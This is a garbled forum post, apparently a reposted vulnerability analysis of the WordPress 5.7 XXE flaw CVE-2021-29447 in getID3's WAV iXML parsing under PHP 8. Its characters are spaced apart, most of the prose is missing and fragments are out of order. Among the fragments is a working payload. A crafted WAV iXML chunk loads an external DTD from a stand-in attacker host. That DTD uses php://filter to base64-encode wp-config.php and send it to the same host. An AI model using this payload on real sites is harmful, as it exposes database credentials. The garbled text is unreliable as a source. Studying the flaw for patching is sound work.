[28902] 2021-05-01_WordPress5.7XXE漏洞分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2021-05-01_WordPress5.7XXE漏洞分析 W o r d P r e s s   5 . 7   X X E O t s   2 0 2 1 - 0 5 - 0 1 S o n a r S o u r c e P H P O W A S P   T o p   1 0 C W E   T o p   2 5 P H P W o r d P r e s s W o r d P r e s s 4 0 使 W o r d P r e s s   广 使   P H P   8 W o r d P r e s s W o r d P r e s s 5 . 7 . 1 C V E - 2 0 2 1 - 2 9 4 4 7 X M L X X E 5 . 7 . 1 W o r d P r e s s w p - c o n f i g . p h p S S R F W o r d P r e s s H T T P W o r d P r e s s P H P   8 W o r d P r e s s 访 使 W o r d P r e s s 2 0 2 1 4 1 4 X X E
W o r d P r e s s P H P   8 使 使 w p - c o n f i g . p h p X M L X X E X M L m y E n t i t y 便 使 U R I X X E X M L / / / v a r / w w w / w p - c o n f i g . p h p U R I X M L X M L W o r d P r e s s X X E X X E S 5 1 4 4 亿 W o r d P r e s s X X E W o r d P r e s s 使 使 W o r d P r e s s 使 g e t I D 3 X M L X X E 7 3 0 w p - i n c l u d e s   /   I D 3   /   g e t i d 3 . l i b . p h p 使 s i m p l e x m l _ l o a d _ s t r i n g   f u n c t i o n P H P X M L 使 X M L P H P L i b x m l 2 X X E 怀 2 0 1 4 W o r d P r e s s   3 . 9 . 2 X X E l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r t r u e   P H P l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r   X M L < ! D O C T Y P E   m y D o c   [   < ! E N T I T Y   m y E n t i t y   " a   l o n g   v a l u e "   >   ] > < m y D o c > < f o o > & m y E n t i t y ; < / f o o > < b a r > & m y E n t i t y ; < / b a r > < / m y D o c > < ! D O C T Y P E   m y D o c   [   < ! E N T I T Y   m y E x t e r n a l E n t i t y   S Y S T E M   " h t t p : / / . . c o m / v a l u e . t x t "   >   ] > < m y D o c > < f o o > & m y E x t e r n a l E n t i t y ; < / f o o > < m y D o c > 7 2 3         i f   ( P H P _ V E R S I O N _ I D   <   8 0 0 0 0 )   { 7 2 4 7 2 5                 / /   T h i s   f u n c t i o n   h a s   b e e n   d e p r e c a t e d   i n   P H P   8 . 0   b e c a u s e   i n   l i b x m l   2 . 9 . 0 ,   e x t e r n a l   e n t i t y   l o a d i n g   i s 7 2 6                 / /   d i s a b l e d   b y   d e f a u l t ,   s o   t h i s   f u n c t i o n   i s   n o   l o n g e r   n e e d e d   t o   p r o t e c t   a g a i n s t   X X E   a t t a c k s . 7 2 8                 $ l o a d e r   =   l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; 7 2 9         } 7 3 0         $ X M L o b j e c t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ X M L s t r i n g ,   ' S i m p l e X M L E l e m e n t ' ,   L I B X M L _ N O E N T ) ;
P H P   8 l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r P H P 8 使 P H P 使 L i b x m l 2   v 2 . 9   +   s i m p l e x m l _ l o a d _ s t r i n g   使 使 使 L I B X M L _ N O E N T   N O E N T P H P   8 W o r d P r e s s W o r d P r e s s   3 . 9 . 2 X X E $   X M L s t r i n g X M L w p - i n c l u d e s   /   I D 3   /   g e t i d 3 . l i b . p h p W o r d P r e s s 使 g e t I D 3 g e t I D 3 w a v e i X M L w p - i n c l u d e s   /   I D 3   /   m o d u l e . a u d i o - v i d e o . r i f f . p h p W o r d P r e s s W a v e 使 w p _ r e a d _ a u d i o _ m e t a d a t a g e t I D 3 w a v e X M L 使 w a v e i X M L B B B B X M L X X E 使 X M L w p - c o n f i g . p h p X X E X X E S h o p w a r e d a t a U R I   h t t p : / / a t t a c k e r _ d o m a i n . c o m / d a t a   ;   U R I   h t t p : / / a t t a c k e r _ d o m a i n . c o m /   _ S U B S T I T U T E D _ d a t a   使 W e b 使 U R I 使 D T D p h p / / w p - c o n f i g . p h p 7 2 1         p u b l i c   s t a t i c   f u n c t i o n   X M L 2 a r r a y ( $ X M L s t r i n g )   { 7 3 0                 $ X M L o b j e c t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ X M L s t r i n g ,   ' S i m p l e X M L E l e m e n t ' ,   L I B X M L _ N O E N T ) ; 4 2 6         i f   ( i s s e t ( $ t h i s f i l e _ r i f f _ W A V E [ ' i X M L ' ] [ 0 ] [ ' d a t a ' ] ) )   { 4 2 7                 / /   r e q u i r e s   f u n c t i o n s   s i m p l e x m l _ l o a d _ s t r i n g   a n d   g e t _ o b j e c t _ v a r s 4 2 8                 i f   ( $ p a r s e d X M L   =   g e t i d 3 _ l i b : : X M L 2 a r r a y ( $ t h i s f i l e _ r i f f _ W A V E [ ' i X M L ' ] [ 0 ] [ ' d a t a ' ] ) )   { R I F F X X X X W A V E B B B B i X M L _ O U R _ P A Y L O A D _ R I F F X X X X W A V E B B B B i X M L < ! D O C T Y P E   r   [ < ! E L E M E N T   r   A N Y   > < ! E N T I T Y   %   s p   S Y S T E M   " h t t p : / / a t t a c k e r - u r l . d o m a i n / x x e . d t d " > % s p ; % p a r a m 1 ; ] >
B B B B X M L x x e . d t d W o r d P r e s s l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r 5 . 7 . 1 P H P   8 使 使 P H P P H P 使 P H P @   w p - i n c l u d e s   /   I D 3   /   g e t i d 3 . l i b . p h p 使 使 P H P l i b x m l _ s e t _ e x t e r n a l _ e n t i t y _ l o a d e r P H P P H P   8 线 线 0 4 . 0 2 . 2 0 2 1   H a c k e r o n e P o C 0 5 . 0 2 . 2 0 2 1   W o r d P r e s s 0 1 . 0 3 . 2 0 2 1   W o r d P r e s s 0 8 . 0 3 . 2 0 2 1   W o r d P r e s s X X E 使 X X E P H P   8 W o r d P r e s s < r > & e x f i l ; < / r > > < ! E N T I T Y   %   d a t a   S Y S T E M   " p h p : / / f i l t e r / z l i b . d e f l a t e / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = . . / w p - c o n f i g . p h p " > < ! E N T I T Y   %   p a r a m 1   " < ! E N T I T Y   e x f i l   S Y S T E M   ' h t t p : / / a t t a c k e r - u r l . d o m a i n / ? % d a t a ; ' > " > 7 2 1         p u b l i c   s t a t i c   f u n c t i o n   X M L 2 a r r a y ( $ X M L s t r i n g )   { 7 2 7             $ l o a d e r   =   @ l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; 7 2 8             $ X M L o b j e c t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ X M L s t r i n g ,   ' S i m p l e X M L E l e m e n t ' ,   L I B X M L _ N O E N T ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则